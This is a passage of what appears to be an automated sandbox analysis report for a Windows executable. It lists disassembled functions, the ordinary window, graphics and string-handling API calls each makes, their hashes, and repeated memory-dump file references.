Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$EmptyIntersect$BeginClientClipCompatibleCreateH_prologObjectPaintWindow
String ID:
API String ID: 29348440-0
Opcode ID: 63ac4c91495d047fa7412d165fc377461f40cffd50d02213de79778e1a28c163
Instruction ID: 8dcd09b172af1cebf112ec9fb672154470c71b72ce03376be662d3ae3eed05fc
Opcode Fuzzy Hash: 63ac4c91495d047fa7412d165fc377461f40cffd50d02213de79778e1a28c163
Instruction Fuzzy Hash: B3813CB55083419FC724DF65C884AABBBE9FFC9704F008E2EF59A93250D734A909CB56

Function 00425850 Relevance: 15.2, APIs: 10, Instructions: 179COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0042586D
GetWindowRect.USER32(?,?), ref: 0042587C
IntersectRect.USER32(?,?,?), ref: 004258D5
EqualRect.USER32(?,?), ref: 00425905
GetWindowRect.USER32(?,?), ref: 00425923
OffsetRect.USER32(?,?,?), ref: 0042599A
OffsetRect.USER32(?,?,00000000), ref: 004259B4
OffsetRect.USER32(?,?,00000000), ref: 004259CC
OffsetRect.USER32(?,00000000,?), ref: 004259E6
OffsetRect.USER32(?,00000000,?), ref: 004259FE

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$Offset$Window$EqualIntersect
String ID:
API String ID: 2638238157-0
Opcode ID: 0bcce850b2ffb366117009abba366b109905f949bd1f5ede7b6d0b1976004081
Instruction ID: a3922dd034a2e04cefd8763c45396855cb1fa84c879fc4319f61186f85fa70b4
Opcode Fuzzy Hash: 0bcce850b2ffb366117009abba366b109905f949bd1f5ede7b6d0b1976004081
Instruction Fuzzy Hash: 04512AB56083029FC708CF29D98096BBBE9AFC8754F404A2EF985D3354DA74ED49CB52

Function 0043D090 Relevance: 15.1, APIs: 10, Instructions: 86COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000002E), ref: 0043D0A1
GetSystemMetrics.USER32(0000002D), ref: 0043D0A7
GetSystemMetrics.USER32(0000000A), ref: 0043D0AD
GetSystemMetrics.USER32(0000000A), ref: 0043D0B8
GetSystemMetrics.USER32(00000009), ref: 0043D0C6
GetSystemMetrics.USER32(00000009), ref: 0043D0D2
GetWindowRect.USER32(?,?), ref: 0043D0F7
GetParent.USER32(?), ref: 0043D0FD
GetWindowRect.USER32(?,00000000), ref: 0043D122
SetRect.USER32(?,?,00000000,?,?), ref: 0043D154

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MetricsSystem$Rect$Window$Parent
String ID:
API String ID: 3457858938-0
Opcode ID: 440699e474224d3f6b8ada8a7eb38b13d2d49729e596b829cfcd771be437ce0c
Instruction ID: 499ee02627b43bb6960c100b522d9fc6327daadc1cbac7193754b307c136e4ff
Opcode Fuzzy Hash: 440699e474224d3f6b8ada8a7eb38b13d2d49729e596b829cfcd771be437ce0c
Instruction Fuzzy Hash: 3C217671A043096FD708DF68EC4596F7BA9EBC9704F00492FB506D7280DB74ED098BA6

Function 00414880 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 159windowCOMMON

Download Yara Rule

APIs

IsRectEmpty.USER32(?), ref: 004148A2
CreateRectRgn.GDI32 ref: 00414924
GetClientRect.USER32(?,?), ref: 0041494D
FillRgn.GDI32(?,?,?), ref: 004149C6
PatBlt.GDI32(?,?,?,?,?,00F00021), ref: 00414A3C

Strings

8\J, xrefs: 00414938, 0041493C
\[J, xrefs: 00414982
\[J, xrefs: 00414A5A

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$ClientCreateEmptyFill
String ID: 8\J$\[J$\[J
API String ID: 97219908-2034852085
Opcode ID: db68b4cee3819b7bbeb9b286e4323cc72ba96b729a4499a419a5c37fd6189920
Instruction ID: 4d6260b24ca06ff0c65524f2e3f8e085c8dbf52bbdbf078cb49f535965b4095d
Opcode Fuzzy Hash: db68b4cee3819b7bbeb9b286e4323cc72ba96b729a4499a419a5c37fd6189920
Instruction Fuzzy Hash: 9D516EB1204342AFC714DF65C984E6BB7E8FF88704F00892EB556C3281DB38E845CBA6

Function 00497C29 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

GetStockObject.GDI32(00000011), ref: 00497C45
GetStockObject.GDI32(0000000D), ref: 00497C4D
GetObjectA.GDI32(00000000,0000003C,?), ref: 00497C5A
GetDC.USER32(00000000), ref: 00497C69
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00497C80
MulDiv.KERNEL32(?,00000048,00000000), ref: 00497C8C
ReleaseDC.USER32(00000000,00000000), ref: 00497C97

Strings

System, xrefs: 00497C3E, 00497CAD

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Object$Stock$CapsDeviceRelease
String ID: System
API String ID: 46613423-3470857405
Opcode ID: bbc72abc037dadfed08e729fb9fbf892606428f09dfc405bb970a81e90715846
Instruction ID: ddc81f135bfa35d646089bcda2cc83c4e7c0d7e3ec39ed009bb61bb3d471d85d
Opcode Fuzzy Hash: bbc72abc037dadfed08e729fb9fbf892606428f09dfc405bb970a81e90715846
Instruction Fuzzy Hash: 8F118E31A04318ABEF109FA5DC45FAE3FB8AB49745F004036FA05E62D0D7749D41CBA8

Function 0048D55F Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,00485E7C,?,Microsoft Visual C++ Runtime Library,00012010,?,004ADA7C,?,004ADACC,?,?,?,Runtime Error!Program: ), ref: 0048D571
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0048D589
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0048D59A
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 0048D5A7

Strings

user32.dll, xrefs: 0048D56C
GetLastActivePopup, xrefs: 0048D59C
GetActiveWindow, xrefs: 0048D594
MessageBoxA, xrefs: 0048D583

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: 81f02a39812c453d0349afd36b5ed05ea5aa71dcbd135e8907a88e2e45d3f3f2
Instruction ID: ddbd714f73d1e35132797a2ed16d7a6ee63a47bee9a410a319202689856c1cc3
Opcode Fuzzy Hash: 81f02a39812c453d0349afd36b5ed05ea5aa71dcbd135e8907a88e2e45d3f3f2
Instruction Fuzzy Hash: D7017171F01211ABAB10BFB59C8092F7BE9EA6D785714083BA104C22A1D778C811DB6C

Function 00495B37 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(COMCTL32.DLL,00000800,00000000,00000400,00495E31,?,00020000), ref: 00495B40
LoadLibraryA.KERNEL32(COMCTL32.DLL), ref: 00495B49
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00495B5D
#17.COMCTL32 ref: 00495B78
#17.COMCTL32 ref: 00495B94
FreeLibrary.KERNEL32(00000000), ref: 00495BA0

Strings

InitCommonControlsEx, xrefs: 00495B55
COMCTL32.DLL, xrefs: 00495B39, 00495B3F, 00495B46

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Library$AddressFreeHandleLoadModuleProc
String ID: COMCTL32.DLL$InitCommonControlsEx
API String ID: 1437655972-4218389149
Opcode ID: 1a257d09ab50ce034ce640b1ddc4cedfca9e57d4fb9471283970ccc31b9a4fa2
Instruction ID: d986e601bfcc2e1853b29191b86592d7b985c688d73425a9c263db52ba381cec
Opcode Fuzzy Hash: 1a257d09ab50ce034ce640b1ddc4cedfca9e57d4fb9471283970ccc31b9a4fa2
Instruction Fuzzy Hash: 66F0C837704A128B9B236FA4DC48A1B7EE8AF957A1F250436F911E3220DB2CEC01477D

Function 0048DD9F Relevance: 13.7, APIs: 9, Instructions: 221COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000000,004ADD0C,00000001,004ADD0C,00000001,00000000,022C11AC,0000000C,00000000,0000000C,00000000,000001D0,00000000,00000000,00480EF3), ref: 0048DDDD
CompareStringA.KERNEL32(00000000,00000000,004ADD08,00000001,004ADD08,00000001), ref: 0048DDFA
CompareStringA.KERNEL32(0045B1E6,00000000,00000000,00000000,00480EF3,00000000,00000000,022C11AC,0000000C,00000000,0000000C,00000000,000001D0,00000000,00000000,00480EF3), ref: 0048DE58
GetCPInfo.KERNEL32(00000000,00000000,00000000,022C11AC,0000000C,00000000,0000000C,00000000,000001D0,00000000,00000000,00480EF3,00000000), ref: 0048DEA9
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000), ref: 0048DF28
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,?,?), ref: 0048DF89
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,?,00000000,00000000), ref: 0048DF9C
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 0048DFE8
CompareStringW.KERNEL32(0045B1E6,00000000,00000000,00000000,?,00000000,?,00000000), ref: 0048E000

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ByteCharCompareMultiStringWide$Info
String ID:
API String ID: 1651298574-0
Opcode ID: ec87f67c4ddcb512380f9ed63f6a2b63a4aab84c11cf0e9e45b8df90ccb6ac6a
Instruction ID: ee0487fecdabce321b6bdbed705b9313a07ccd4528f3133a77c0f2b9acaf6337
Opcode Fuzzy Hash: ec87f67c4ddcb512380f9ed63f6a2b63a4aab84c11cf0e9e45b8df90ccb6ac6a
Instruction Fuzzy Hash: 8D71CF72D01259ABDF21BF518C859FF7FB6EB1A314F14482BF911A62A0C3398C51DB68

Function 00489284 Relevance: 13.7, APIs: 9, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,004ADD0C,00000001,00000000,00000000,756EE860,00501204,?,?,?,0048248D,?,?,?,00000000), ref: 004892C6
LCMapStringA.KERNEL32(00000000,00000100,004ADD08,00000001,00000000,00000000,?,?,0048248D,?,?,?,00000000,00000001), ref: 004892E2
LCMapStringA.KERNEL32(?,?,?,0048248D,?,?,756EE860,00501204,?,?,?,0048248D,?,?,?,00000000), ref: 0048932B
MultiByteToWideChar.KERNEL32(?,00501205,?,0048248D,00000000,00000000,756EE860,00501204,?,?,?,0048248D,?,?,?,00000000), ref: 00489363
MultiByteToWideChar.KERNEL32(00000000,00000001,?,0048248D,?,00000000,?,?,0048248D,?), ref: 004893BB
LCMapStringW.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,0048248D,?), ref: 004893D1
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,0048248D,?), ref: 00489404
LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,?,0048248D,?), ref: 0048946C

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: 016eac30e25ca856837e4068805439bc950f71500cf07d5b6f483942a1d8ebf8
Instruction ID: 98a9c0815211d6f809f23aa4f0fdc39f54dc972d144c6502667415103821866e
Opcode Fuzzy Hash: 016eac30e25ca856837e4068805439bc950f71500cf07d5b6f483942a1d8ebf8
Instruction Fuzzy Hash: 81518C71900619FBCF219F94CC45AEF7FB5FB49B50F14452AF811A1260D33A8C61EB68

Function 004255F0 Relevance: 13.6, APIs: 9, Instructions: 118COMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 004255F6
ClientToScreen.USER32(?,?), ref: 00425633
OffsetRect.USER32(?,?,?), ref: 0042565C
GetParent.USER32(?), ref: 00425662

Part of subcall function 00498589: ScreenToClient.USER32(?,76087310), ref: 0049859D
Part of subcall function 00498589: ScreenToClient.USER32(?,76087318), ref: 004985A6

GetClientRect.USER32(?,?), ref: 00425685
OffsetRect.USER32(?,?,00000000), ref: 004256A3
OffsetRect.USER32(?,?,00000000), ref: 004256BB
OffsetRect.USER32(?,00000000,?), ref: 004256D9
OffsetRect.USER32(?,00000000,?), ref: 004256F9

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$Offset$Client$Screen$CaptureParent
String ID:
API String ID: 838496554-0
Opcode ID: 80c8902e322d98a7319da274f0e6ed88aea0da4a05494091ddb9aabc1ad77c61
Instruction ID: d984691ef0139834b27457e9eed4cf5b186fc098a7a269127153b4b94e4fddcc
Opcode Fuzzy Hash: 80c8902e322d98a7319da274f0e6ed88aea0da4a05494091ddb9aabc1ad77c61
Instruction Fuzzy Hash: 4341FBB5204301AFD718DF69D984D6FB7E9EBC8704F008A1DF596C3351DA74ED088A66

Function 00422D90 Relevance: 13.6, APIs: 9, Instructions: 85windowCOMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,?,00000001,?,?,?,?), ref: 00422DAA
GetTopWindow.USER32(?), ref: 00422DB0
IsWindowVisible.USER32(00000000), ref: 00422DC1
GetWindowLongA.USER32(00000000,000000EC), ref: 00422DD2
GetClientRect.USER32(00000000,?), ref: 00422E25
IntersectRect.USER32(?,?,?), ref: 00422E3A
IsRectEmpty.USER32(?), ref: 00422E45
InvalidateRect.USER32(00000000,00000000,00000000,?,?,?,?), ref: 00422E56
GetWindow.USER32(00000000,00000002), ref: 00422E5B

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Rect$Window$Invalidate$ClientEmptyIntersectLongVisible
String ID:
API String ID: 938479747-0
Opcode ID: 60aafdd1c3c7598f55dec258f9d6ca8839f24b1a2b0046504446db8e1f76df58
Instruction ID: 2cdca70d69b1f9d1bb5cb9e9ead3516733982875e76c314dbf896b5dd3f77780
Opcode Fuzzy Hash: 60aafdd1c3c7598f55dec258f9d6ca8839f24b1a2b0046504446db8e1f76df58
Instruction Fuzzy Hash: B721CC71200312AFC710DF59D884D6BBBECBF89744F404A2EF90093250DB74E9098BA9

Function 00490090 Relevance: 13.6, APIs: 9, Instructions: 80windowstringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,?,?,0000000C,?,?,00427419,?,-00000001,00000000,?,?,?,004C0CF0), ref: 0049009A
GetFocus.USER32 ref: 004900B5

Part of subcall function 00493C72: UnhookWindowsHookEx.USER32(?), ref: 00493C97

IsWindowEnabled.USER32(?), ref: 004900DE
EnableWindow.USER32(?,00000000), ref: 004900F0
GetOpenFileNameA.COMDLG32(?,?), ref: 0049011B
GetSaveFileNameA.COMDLG32(?,?), ref: 00490122
EnableWindow.USER32(?,00000001), ref: 00490139
IsWindow.USER32(?), ref: 0049013F
SetFocus.USER32(?), ref: 0049014D

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
